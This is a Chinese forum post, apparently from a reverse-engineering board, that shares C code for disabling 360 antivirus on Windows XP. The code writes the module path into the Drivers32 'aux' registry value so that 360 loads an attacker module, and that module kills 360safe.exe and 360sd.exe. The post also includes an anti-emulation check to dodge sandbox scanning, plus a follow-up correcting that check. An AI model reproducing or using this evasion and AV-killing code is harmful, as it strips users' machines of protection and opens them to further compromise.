只在XP下面测试通过,发现之前杀毒软件是扫不出来的,最近测试快速扫描回扫描出有非法启动项,但是还是可以过主动的,可以一上来就干掉360safe.exe和360sd.exe让他不能扫描

测试代码是这样的:
BOOL MyDllRun(char* dllPath)
{
  HKEY hkey=NULL;
  if(RegOpenKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32",0,KEY_ALL_ACCESS,&hkey)==S_OK)
  {
        if(RegSetValueEx(hkey,"aux",0,REG_SZ,(LPBYTE)dllPath,strlen(dllPath))==S_OK)
      return TRUE;
  }
  return FALSE;
}

VOID TestExeception()
{
  // 通过杀毒软件目录的不可读写来反虚拟执行
  char buf[255]={0};
  GetModuleFileName(NULL,buf,255);
  PathRemoveFileSpec(buf);
  PathAppend(buf,"9.txt");
  HANDLE hfile=CreateFile(buf,GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL|FILE_FLAG_DELETE_ON_CLOSE,NULL);
  if(hfile!=INVALID_HANDLE_VALUE)
  {
    ExitProcess(0);
  }
  MyDllRun("e:\\123.sys");
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
  TestExeception();
  return 0;


上面主要是写入注册表,MyDllRun传入一个需要360注入的模块路径,运行360的时候回加载

我的123.sys的代码是检测加载的模块是不是360sd和360safe,是的话就ExitProcess(0);这个误杀率极高的杀毒软件就起不来了。

  • 标 题:写错了一个位置
  • 作 者:woshixutao
  • 时 间:2011-04-12 11:19:02

VOID TestExeception()
{
  // 通过杀毒软件目录的不可读写来反虚拟执行
  char buf[255]={0};
  GetModuleFileName(NULL,buf,255);
  PathRemoveFileSpec(buf);
  PathAppend(buf,"9.txt");
  HANDLE hfile=CreateFile(buf,GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL|FILE_FLAG_DELETE_ON_CLOSE,NULL);
  if(hfile==INVALID_HANDLE_VALUE)
  {
    ExitProcess(0);
  }
  MyDllRun("e:\\123.sys");
}